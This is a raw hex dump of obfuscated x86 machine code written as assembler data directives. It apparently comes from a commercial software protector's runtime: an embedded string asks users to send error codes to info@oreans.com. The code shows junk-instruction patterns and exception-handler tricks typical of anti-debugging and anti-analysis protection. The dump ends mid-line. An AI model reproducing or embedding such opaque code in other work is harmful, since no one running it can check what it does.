64E29h, 46850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 4B8D65C3h dd 0DA395AD2h, 0F88B6660h, 68E0Fh, 880F0000h, 0 dd 14BD8361h, 6510Bh, 23840Fh, 95290000h, 64E25CDh, 120CE9h dd 13E900h, 2CC40000h, 0FB0F25B9h, 0F57536A8h, 0BB5E2743h dd 0BBE64A60h, 504E9A8h, 0E8F80000h, 10h, 53C55F5Dh, 165A4139h dd 5F8E54C4h, 2B9308CCh, 6AC08B5Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 663AC353h dd 0E64BEF81h, 2D45BD83h, 7500064Eh, 0E1BD8309h, 64E19h dd 53501974h, 0D4B8C08Bh, 89000007h, 4E21B985h, 419D8D06h dd 0FF0650B9h, 83585BD3h, 4E19E1BDh, 17740006h, 0D4B85350h dd 89000007h, 4E21B985h, 309D8D06h, 0FF0650B6h, 89585BD3h dd 4E0BE585h, 0EE906h, 5D0A0000h, 76426778h, 4792F7D7h dd 0B656270Bh, 8BD08B66h, 298589C0h, 0F9064E0Fh, 0F003F68h dd 0A1BD8900h, 6A064E28h, 1DBD8900h, 6A064E0Eh, 29BD8B00h dd 89064E0Bh, 4E0C65BDh, 3195FF06h, 33064E29h, 4E0FBDBDh dd 0FC08506h, 1085h, 9E900h, 39040000h, 0AE246E5Ch, 8ABC90BBh dd 118589C8h, 890650FBh, 4E035D8Dh, 66006A06h, 0E2BEE281h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 1E515FC3h, 955CEE06h, 98D230Fh, 6A064E0Ch dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0D958BF9h, 6A064E33h, 15858900h, 6A064E31h dd 21BD8B00h, 8D064E0Eh, 50FCEF85h, 818D8B06h, 50064E0Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 5BC35747h dd 0F2A69861h, 8501016Ah, 64E07FDh, 8B66016Ah, 89016AD0h dd 4E26FD85h, 1FF6806h, 0FE9000Fh, 0C9000000h, 0A203E991h dd 0AE2FDED5h, 0CCC21F4Ch, 83F5BFBDh, 4E2999BDh, 840F0006h dd 44h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 0AEC35747h, 0FB6536Ch, 682h, 918D8B00h, 0BA064E26h dd 352241A3h, 0FB6E858Dh, 85890650h, 64E2699h, 30E9h, 6AC18000h dd 0FB44858Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 2F33AEC3h, 38E0Fh, 0CD800000h, 6A5003h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 505417C3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 7C35646h, 0FF94B605h, 50FB11B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 7E39C65Dh, 66C042C1h, 0FD5E8B9h, 95FFFBB7h, 650FAFDh dd 0CE18D89h, 0C085064Eh, 3B850Fh, 850F0000h, 6, 307DBD0Bh dd 78E9064Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 757AC356h, 0C372E781h dd 896F5DABh, 4E25ED85h, 15858906h, 8B0650FBh, 4E2B0D95h dd 15B5FF06h, 660650FBh, 72A8D181h, 0FF24F680h, 4E273995h dd 85E6B506h, 24850FC0h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0DEA4C355h dd 17D9C3A8h, 6A52F680h, 0B1958910h, 83064E0Ch, 4E2999BDh dd 840F0006h, 37h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 55C35242h, 60F39C33h, 0FF689B12h, 0FB6E858Dh dd 0CA8B0650h, 2CE9h, 81BD8900h, 8D064E31h, 50FB4485h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 7FBF66D9h, 958B509Bh, 64E2B91h, 0FB11B5FFh dd 850F0650h, 1Ch, 10E8h, 98A60E00h, 0A1E100B5h, 0D855DF4Fh dd 31FECB52h, 0A99D899Bh, 59064E0Eh, 0FB0995FFh, 0BD8B0650h dd 64E0C55h, 850FC085h, 35h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 94C35141h, 48531E54h, 9B5C15Bh dd 4E0BDD95h, 0A9BD2306h, 29064E11h, 4E0FBD85h, 15858906h dd 6A0650FBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 271AC356h, 0B442ED0Fh, 82379D5Bh dd 0F4D8D8Bh, 6A064Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0D4C35040h, 0FC7335D7h, 0D281006Ah, 57BB56C0h dd 0FB15B5FFh, 8B660650h, 195FFCEh, 0E90650FBh, 14h, 72E46095h dd 9C7087B2h, 1B97B99Eh, 36742749h, 5A825259h, 850FC085h dd 0Fh, 6800Fh, 0BD890000h, 64E18E5h, 0FF5CC580h, 50FB15B5h dd 158B0F06h, 60000000h, 0CE9h, 1684F100h, 4F7EFFBEh, 0CFEB56D2h dd 616160B7h, 12B59D09h, 95FF064Eh, 64E2739h, 850FC085h dd 6, 157DBD2Bh, 6A064Eh, 10E9h, 0B123BA00h, 0EFA66F77h dd 3737B8CCh, 5CAC783Ch, 806893h, 0FE8B0000h, 6A036Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 5A83BAC3h, 6137C2E0h, 6AD1365Ch, 5F56B900h, 6A335Eh dd 22858D8Bh, 68064Eh, 31C00000h, 4E260D85h, 8DB5FF06h dd 8B0650FBh, 4E2C5195h, 0B595FF06h, 0F064E2Fh, 128Ch dd 6E800h, 0FAD30000h, 0DF0735D3h, 122DB589h, 0E859064Eh dd 11h, 0F0FDF483h, 99AD4C44h, 0B938E0F0h, 0F590AA19h dd 14E953F0h, 85000000h, 0E6A3EBEAh, 4FD94B22h, 7AB81907h dd 3039309Bh, 59612477h, 0FFF8835Fh, 488850Fh, 9D890000h dd 64E08A5h, 5FB85FFh, 85890651h, 64E0A1Dh, 5FBBD83h, 0F020651h dd 37E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0D3E5DBEDh, 914E07EEh, 10E960h, 996E0000h dd 0E40A56B3h, 7401B29Ch, 5DB9B478h, 0BE965E5h, 0CA000000h dd 0ECB80B6Ah, 73DC5A87h, 858DF2D2h, 5AF59Fh, 0FFE78151h dd 591C15A4h, 9D89D0FFh, 64E17BDh, 6E9h, 7BDEC900h, 8D1E3BDBh dd 5AEFF285h, 158D8B00h, 0FF064E07h, 0CABF0FD0h, 0BD83C08Bh dd 64E2D45h, 83097500h, 4E19E1BDh, 19740006h, 0C08B5350h dd 7D8B8h, 0B9858900h, 8D064E21h, 50B9419Dh, 5BD3FF06h dd 0E1BD8358h, 64E19h, 53501774h, 7D8B8h, 0B9858900h, 8D064E21h dd 50B6309Dh, 5BD3FF06h, 219D2958h, 60064E2Dh, 3C08166h dd 58D295Dh, 61064E0Fh, 8D33C08Bh, 64E3011h, 0F003F68h dd 0B1BD0300h, 6A064E0Ch, 0C1BD8B00h, 6A064E0Dh, 0FEB70F00h dd 28C0Fh, 0D18B0000h, 293195FFh, 6A064Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 606022C3h dd 5851F08Bh, 9D895361h, 64E0C01h, 0C0856159h, 6850Fh dd 0BD890000h, 64E2FE5h, 0FB118589h, 9D890650h, 64E02B1h dd 0F01FF68h, 2CBA6600h, 0BAE7816Ah, 8350795Ah, 4E2999BDh dd 840F0006h, 26h, 10E9h, 77BF3500h, 0A5D3EA1Dh, 4AD622B3h dd 1E0C789Ch, 6E858D1Bh, 0F0650FBh, 0AE9F9B7h, 66000000h dd 858DF98Bh, 650FB44h, 8D0B50F9h, 64E2F75h, 0FB11B5FFh dd 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0FFDFD9C3h, 0ED5DB1E9h, 0EFCE80D8h, 995FFF5h dd 0F0650FBh, 68Ch, 159D8900h, 89064E0Fh, 50FB1585h dd 0B7E6B906h, 85C7561Ch, 64E0629h, 0 dd 6E8h, 0ED21700h, 0FFE4C5Fh, 38Ch, 0D2B70F00h, 15BD8359h dd 650FBh, 15F840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 59E539C3h, 8DFC8427h dd 50FDF385h, 45BD8B06h, 50064E26h, 1215958Bh, 12E9064Eh dd 63000000h, 0D878D84Bh, 0EA2164DFh, 3A15C0EFh, 0F666CD7Fh dd 0BF016A21h, 300B33F5h, 0FB15B5FFh, 95FF0650h, 650FB0Dh dd 2BB5B589h, 0B5FF064Eh, 650FB15h, 0B026BF66h, 273995FFh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0A06806C3h, 9CB46D18h, 0FD7BF0Fh, 380h, 0FAB70F00h dd 0F01FF68h, 0EE800h, 12CE0000h, 0FF359C9h, 8BE8959h dd 8B5B1AA5h, 99BD8359h, 64E29h, 3B840Fh, 9D890000h, 64E307Dh dd 0FB6E858Dh, 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 2E301AC3h, 838DAD98h, 0B7C98166h dd 0AE944h, 0EA800000h, 44858D96h, 0F90650FBh, 5B58950h dd 0FF064E09h, 50FB11B5h, 0A5858906h, 0FF064E2Ah, 50FB0995h dd 0D7B70F06h, 0FB158589h, 0B9660650h, 0BA66C560h, 0B5FFD634h dd 650FB15h, 0BD892FB5h, 64E1B85h, 0FB0595FFh, 3BF0650h dd 0FF1C1ACFh, 50FB15B5h, 3995FF06h, 8B064E27h, 4E122D8Dh dd 0F6B7E906h, 5FB9FFFFh, 0FF12A4CAh, 51065EB5h, 15BD2B06h dd 0FF064E11h, 4E0F9995h, 858BF806h, 64E055Dh, 5E516057h dd 0F40DBE66h, 9FE95A61h, 81000006h, 0FA5272CAh, 0F9958946h dd 8D064E21h, 50FE13B5h, 68F0F06h, 23000000h, 4E059995h dd 0BE858D06h, 660650AAh, 0D0FFD38Bh, 7CCF8166h, 6A006AA5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0BD77C356h, 0C72390E8h, 0AE60FF20h, 0FCD95FFh dd 0DE8064Eh, 0F2000000h, 36DA089Dh, 0B63C7537h, 0D9CD1800h dd 5AD38B66h, 0BD33F38Bh, 64E20D5h, 0AABE858Dh, 810F0650h dd 6, 197D9501h, 0D0FF064Eh, 1561BD23h, 0BD89064Eh, 64E20EDh dd 8D89006Ah, 64E2D95h, 0FCD95FFh, 6A064Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0C08BF4C3h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A2C35646h dd 0BD83FB56h, 64E2D45h, 83097500h, 4E19E1BDh, 19740006h dd 0C08B5350h, 7D9B8h, 0B9858900h, 8D064E21h, 50B9419Dh dd 5BD3FF06h, 0E1BD8358h, 64E19h, 53501774h, 7D9B8h, 0B9858900h dd 8D064E21h, 50B6309Dh, 5BD3FF06h, 5D952B58h, 6A064E13h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 83ACC350h, 0FE15DCA4h, 0A06BEF5Bh, 18F5958Bh dd 9D89064Eh, 64E1645h, 0E950C08Bh, 9, 0C4C406E4h, 0CF1BCDD2h dd 8DB589E7h, 8B064E0Eh, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 35F156F8h, 56E08F6Dh dd 0C781665Fh, 0B5093BC3h, 64E155Dh, 0A59D8D53h, 8B064E32h dd 8B038903h, 43895043h, 0F79D8D50h, 8B065105h, 5B038903h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C2C35747h dd 324E9626h, 2A29D05Dh, 0E9CC8A71h, 14h, 0F906C3h, 4E7DC405h dd 2583BB8Fh, 8338AAF1h, 7D779FD0h, 958B006Ah, 64E0661h dd 5F7858Dh, 6A0651h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0CA9019C3h, 0E98166C4h, 6650F084h dd 6AC2D0BFh, 3DBD8B60h, 8B064E0Dh, 4E10798Dh, 0A5858D06h dd 0F064E32h, 8B50D2BFh, 4E024595h, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 3638C351h, 96E534C5h, 0B5293E43h, 64E0CA9h, 0EF5F55BFh dd 0CE8B667Fh, 0BF0F006Ah, 180068CFh, 0BA660000h, 6A533ED2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0AE0DC350h, 0EF755002h, 2830F52h, 8B000000h dd 95FF5ACAh, 64E1515h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0BFC35545h, 96E06E60h, 0BF48190h, 203D9D89h dd 95FF064Eh, 64E250Dh, 0A7E8B2BAh, 5EB5FF7Ah, 6A065106h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 28FFC351h, 1016518h, 4E154D8Dh, 9995FF06h dd 0F064E0Fh, 684h, 3D8D8B00h, 8D064E2Ch, 4E32A585h, 2D8D8B06h dd 8B064E0Fh, 6A1840h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 1EF9CCC3h, 0FE86E03Eh, 3CB8BA66h dd 0C5985C7h, 64Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0A329DC3h, 7A4B55B8h dd 2999BD83h, 0F00064Eh, 5D84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D151686Dh dd 1BC1C92Ah, 8C3DC3h, 830F0000h, 1AEh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 6AC35343h, 958BEF8Ah dd 64E0E01h, 2CE9h, 8CE8BF00h, 963D356Bh, 0F000000h, 17583h dd 898D0300h, 0E8064E06h, 0Dh, 81C409E1h, 0FE3BFBA0h, 0C4F4FC21h dd 0D38B6682h, 9F858D5Ah, 0F005AF5h, 1388h, 0EE900h, 94F20000h dd 0C17DBC7h, 6D7BF80Fh, 0DC237745h, 0BA66D0FFh, 858D7CEAh dd 5AEFF2h, 12E9h, 3552000h, 0CD8277EEh, 0C873924Bh, 762E260Ah dd 0FF06ED4Bh, 80ED80D0h, 4CBAC08Bh, 832956BCh, 4E2D45BDh dd 9750006h, 19E1BD83h, 7400064Eh, 8B535019h, 0BC6B8C0h dd 85890000h, 64E21B9h, 0B9419D8Dh, 0D3FF0650h, 0BD83585Bh dd 64E19E1h, 50177400h, 0BC6B853h, 85890000h, 64E21B9h dd 0B6309D8Dh, 0D3FF0650h, 0DE8585Bh, 29000000h, 48AEF3A2h dd 0DA354CACh, 0A1583351h, 0D69B589h, 0F59064Eh, 1B85h dd 0FE800h, 9BAF0000h, 0E66D82D7h, 0F2256A44h, 6F05EDB8h dd 7D8D2984h, 5F064E22h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0C74650C3h, 0FFF8836Dh dd 29850Fh, 95890000h, 64E25BDh, 149185C7h, 64Eh, 9D890000h dd 64E21B1h, 0CFE9h, 0CDBD0900h, 0E9064E0Eh, 2Bh, 83D1B70Fh dd 850F01F8h, 1Fh, 0E9FE8B66h, 132h, 0DE8h, 9AA01A00h dd 690231C7h, 9C934B8Ch, 0BF662653h, 0E95F10FEh, 0FFFFF101h dd 26B9B529h, 0C08B064Eh, 83CF8B66h, 4E2D45BDh, 9750006h dd 19E1BD83h, 7400064Eh, 8B535019h, 7DDB8C0h, 85890000h dd 64E21B9h, 0B9419D8Dh, 0D3FF0650h, 0BD83585Bh, 64E19E1h dd 50177400h, 7DDB853h, 85890000h, 64E21B9h, 0B6309D8Dh dd 0D3FF0650h, 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8BAD2FC3h, 4E10E58Dh, 59F95206h dd 800FC08Bh, 5, 3B7B1FBFh, 24BE97Eh, 0DF810000h, 57D03042h dd 3FB858Dh, 6A0651h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0E6402CC3h, 0E9E65CB1h, 10h, 51A2A700h dd 763AD26Bh, 0E606E6FFh, 4118CEFh, 5F38589h, 6A0651h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 11E936C3h, 0A000000h, 0F9B4722h, 0A78C8511h, 0FD0EA0CEh dd 902B5612h, 53F232BAh, 31E957h, 0BA660000h, 858D3CECh dd 6510203h, 1871BD8Bh, 8B40064Eh, 4E06F995h, 0F3858906h dd 0E8065105h, 0Ah, 2C61A7D5h, 0A8D5DC64h, 50501A00h, 6A5F595Fh dd 0CD858D34h, 50064E29h, 5F3B5FFh, 6A0651h, 0A0D95FFh dd 0F883064Eh, 62840F07h, 66000001h, 0C3F6DB8Ch, 0FC850F04h dd 0C6000000h, 4E040185h, 52685606h, 0FF9CA8B8h, 4E25D1B5h dd 0D8858D06h, 0FF064E39h, 68046AD0h, 1000h, 6A646Ah, 8589D0FFh dd 6510666h, 40185C6h, 6847064Eh, 0EC18AC9Bh, 25D1B5FFh dd 858D064Eh, 64E39D8h, 0D0FFD0FFh, 85C6F08Bh, 64E0401h dd 2661684Fh, 0B5FFC62Fh, 64E1FB5h, 39D8858Dh, 0D0FF064Eh dd 6629D8Dh, 6A530651h, 0D0FF5628h, 75C085h, 40185C6h dd 6841064Eh, 0DB876498h, 1FB5B5FFh, 858D064Eh, 64E39D8h dd 8589D0FFh, 651067Fh, 40185C6h, 684C064Eh, 80A4E7A4h dd 1FB5B5FFh, 858D064Eh, 64E39D8h, 9D8BD0FFh, 6510666h dd 53045B8Dh, 66B9D8Dh, 6A530651h, 8BD0FF00h, 5106669Dh dd 103C706h, 0C7000000h, 20C43h, 85C70000h, 64E2FBDh, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 6510666h, 0FF006A53h, 510662B5h, 7F95FF06h, 0C6065106h dd 4E040185h, 97684506h, 0FF92A5F7h, 4E215DB5h, 0D8858D06h dd 0FF064E39h, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 5106669Dh, 0C43C706h, 0 dd 6A006Ah, 6669D8Bh, 6A530651h, 62B5FF00h, 0FF065106h dd 51067F95h, 62B5FF06h, 0FF065106h, 4E250D95h, 0FF006A06h dd 4E0FCD95h, 5FDA8106h, 893ACDA4h, 4E087DBDh, 0FA858D06h dd 6A06513Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 7EEEC350h, 39EAE3A8h, 8937A3CAh dd 4E2C0D85h, 95335006h, 64E2119h, 35FF64h, 0F000000h dd 2960FABFh, 4E15918Dh, 8D096006h, 64E2B61h, 89646161h dd 25h, 0CE800h, 0D0500000h, 879AE082h, 0D60C3028h, 0BD89BC0Ch dd 64E0BF9h, 0F1BD835Ah, 64E19h, 30840Fh, 85310000h, 64E0689h dd 2649BD83h, 0F01064Eh, 1D85h, 7FBD8000h, 6510Ah, 10850Fh dd 95090000h, 64E0FB1h, 186E9h, 0CB13BA00h, 0DB33661Fh dd 0B85BD8Bh, 9D89064Eh, 64E1B3Dh, 800FC033h, 2, 0F40D68Bh dd 640B073Fh, 58Fh, 0C4830000h, 10E904h, 175E0000h, 9FA4159h dd 2715B74Fh, 8A35FC70h, 6A8D50h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0EDF0BCC3h, 92B5920Dh dd 0FFFFB83h, 1284h, 0F9BD0B00h, 0E9064E12h, 105h, 8C0FFCh dd 0E9000000h, 8Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 6CC35747h, 42239DAFh, 9E5CC281h, 0BD8B15DBh dd 64E0875h, 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh dd 0B8h, 0C3C03304h, 0C245C8Bh, 0E855h, 815D0000h, 513D1CEDh dd 0B8838B06h, 8D000000h, 513DD185h, 0B8838906h, 5D000000h dd 66C3C033h, 0A46DF181h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0E3C35343h, 858D57C6h, 6513D12h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BFC35242h, 12BED2Eh dd 9DCFBA50h, 0FF647C7Eh, 35h, 0D2CA8000h, 258964h, 89000000h dd 4E1769B5h, 0AB906h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh dd 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h dd 5985C70Ah, 1064E2Ch, 64000000h, 58Fh, 0C4830000h, 77B5BF04h dd 0B70F73C1h, 3C08BD2h, 4E108995h, 45BD8306h, 64E2Dh dd 0BD830975h, 64E19E1h, 50197400h, 0B8C08B53h, 43Dh, 30018589h dd 9D8D064Eh, 650B9A8h, 585BD3FFh, 19E1BD83h, 7400064Eh dd 0B8535017h, 43Dh, 30018589h, 9D8D064Eh, 650B649h, 585BD3FFh dd 68E0FF9h, 89000000h, 4E15058Dh, 0E9C08B06h, 13Ah, 4 dd 35382E31h, 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 64E2A81h, 2D840F00h, 8D000001h, 50B46085h, 858D5006h dd 650B3CAh, 16850h, 95FF8000h, 650B470h, 3E4A858Dh, 8D500651h dd 513E5485h, 6A5006h, 858D006Ah, 650B3DEh, 60B5FF50h dd 0FF0650B4h, 4E251995h, 4A858D06h, 5006513Eh, 3E58858Dh dd 6A500651h, 8D006A00h, 50B3F085h, 0B5FF5006h, 650B460h dd 251995FFh, 858D064Eh, 6513E4Ah, 64858D50h, 5006513Eh dd 6A006Ah, 0B43D858Dh, 0FF500650h, 50B460B5h, 1995FF06h dd 8D064E25h, 513E4A85h, 858D5006h, 6513E6Ch, 6A006A50h dd 5B858D00h, 500650B4h, 0B460B5FFh, 95FF0650h, 64E2519h dd 3E4A858Dh, 8D500651h, 513E6885h, 6A5006h, 858D006Ah dd 650B444h, 60B5FF50h, 0FF0650B4h, 4E251995h, 4A858D06h dd 5006513Eh, 3E5C858Dh, 6A500651h, 8D006A00h, 50B44C85h dd 0B5FF5006h, 650B460h, 251995FFh, 858D064Eh, 6513E4Ah dd 60858D50h, 5006513Eh, 6A006Ah, 0B453858Dh, 0FF500650h dd 50B460B5h, 1995FF06h, 0FF064E25h, 50B460B5h, 9D95FF06h dd 0E9064E1Fh, 0A2h, 0F01BD83h, 0F00064Eh, 9584h, 49BD8300h dd 64E26h, 11850Fh, 958B0000h, 64E314Dh, 1CF8C281h, 0FE90000h dd 8D000000h, 4E32A595h, 34528B06h, 0C340C281h, 95893BD4h dd 64E2F5Dh, 2F5DBD83h, 0F00064Eh, 5584h, 5D9D8B00h, 83064E2Fh dd 38B4CC3h, 3E548589h, 9D8B0651h, 64E2F5Dh, 8B50C383h dd 58858903h, 8B06513Eh, 4E2F5D9Dh, 54C38306h, 8589038Bh dd 6513E64h, 2F5D9D8Bh, 0C383064Eh, 89038B58h, 513E6885h dd 5D9D8B06h, 83064E2Fh, 38B5CC3h, 3E5C8589h, 0BD830651h dd 64E2A81h, 0D850F00h, 83000000h, 4E0F01BDh, 840F0006h dd 68h, 3E6CB5FFh, 0B5FF0651h, 6513E60h, 3E5CB5FFh, 0B5FF0651h dd 6513E68h, 3E64B5FFh, 0B5FF0651h, 6513E58h, 3E54B5FFh dd 858D0651h, 6513E4Eh, 86858D50h, 5006513Eh, 22AD858Dh dd 0FF50064Eh, 4E2F4D95h, 24C48306h, 858D406Ah, 6513E70h dd 0AD858D50h, 50064E22h, 95FF006Ah, 64E0A0Dh, 95FF016Ah dd 64E0FCDh, 0F60C18Bh, 58Bh, 0E1816600h, 0C08B809Eh, 0DF8B6660h dd 0E7A2F381h, 53610A7Dh, 59B5C580h, 2D45BD83h, 7500064Eh dd 0E1BD8309h, 64E19h, 53501974h, 0EB8C08Bh, 89000004h dd 4E21B985h, 419D8D06h, 0FF0650B9h, 83585BD3h, 4E19E1BDh dd 17740006h, 0EB85350h, 89000004h, 4E21B985h, 309D8D06h dd 0FF0650B6h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0C5CFC356h, 6A7743h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F30E7C3h, 38Ah, 0D68B6600h, 44C18166h, 60C08B48h, 66C78B66h dd 61A79CB9h, 89B0E181h, 0BD83322Ch, 64E19F1h, 2A840F00h dd 0F000000h, 28Ah, 60CB8A00h, 38F0Fh, 8B660000h, 0BE9D9h dd 0A1E20000h, 0DF62F50Ah, 1AE488CEh, 0B5E96104h, 8A000002h dd 6ADF8CCCh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 7809C351h, 0FE8h, 0E86BD700h dd 354A59BEh, 0CCED0968h, 0C76190B6h, 6890Fh, 0F1810000h dd 42EABE7Ah, 0C7F7665Eh, 850F0004h, 268h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C4C35242h, 0A51B3C2h dd 66608605h, 0E9060ABBh, 6, 2BC6DFEAh, 2B613320h, 7ABA66FFh dd 0C68166F2h, 9D8D9E1Ah, 6514535h, 0FCFBF0Fh, 8B93D3BFh dd 0EE950F0h, 13000000h, 1BBA73C4h, 0B5073B02h, 673F83F5h dd 6A93E3h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0C3D68DC3h, 0CB777D2Fh, 0EE812EADh, 33004B9h dd 35FF64h, 0E9000000h, 0Ch, 4FC60B68h, 51BDF6AAh, 0AFAAEEECh dd 258964h, 52000000h, 66C48B5Ah, 0CD26DDBEh, 6A00EB01h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0A53FC351h, 4B10A967h, 0F8E15977h, 14E8h dd 24EB3500h, 12C07615h, 5F16F73Bh, 0FCCF484h, 18A160B8h dd 5E9B4h, 823E0000h, 597B8F0Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0D8C35343h, 73C91CCAh, 58F6429h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C6C35343h dd 8B666017h, 38C0FDEh, 66000000h, 0F61C28Bh, 585h, 0FD0CBE00h dd 0C4830146h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0BB1FFB34h, 20EC0373h dd 3DBB6660h, 10E8E1h, 0DA470000h, 9D5E314Bh, 3EDF125Ch dd 7E7AED37h, 81666C9Ch, 593C0AF2h, 0D7BF0F61h, 840FC00Bh dd 0B8h, 8A0Fh, 66610000h, 0B9F1F281h, 73C7BD8Dh, 8B66064Eh dd 1B8CBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 3D39D7C3h, 0EA714778h, 11E9E19Fh dd 64000000h, 577173Ch, 35E90BA1h, 1D61C655h, 5EDC9724h dd 0D4C28166h, 57E7FFB2h, 10245C8Bh, 0B8838Bh, 0B60F0000h dd 0C8FE0140h, 0B08389h, 83830000h, 0B8h, 0C0335F02h, 0A820FC3h dd 0F000000h, 481h, 3CBE6600h, 7800F21h, 60000000h, 484C87B8h dd 6A617Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F93432C3h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 6E3956F0h dd 5F9AE181h, 0C08B127Bh, 0CE8h, 0E253F800h, 579691ECh dd 0B9399B49h, 0CFB70F68h, 0DE95Eh, 0C9AF0000h, 4E39761Ch dd 0C2411193h, 83A73D8Eh, 4E2D45BDh, 9750006h, 19E1BD83h dd 7400064Eh, 8B535019h, 40EB8C0h, 85890000h, 64E3001h dd 0B9A89D8Dh, 0D3FF0650h, 0BD83585Bh, 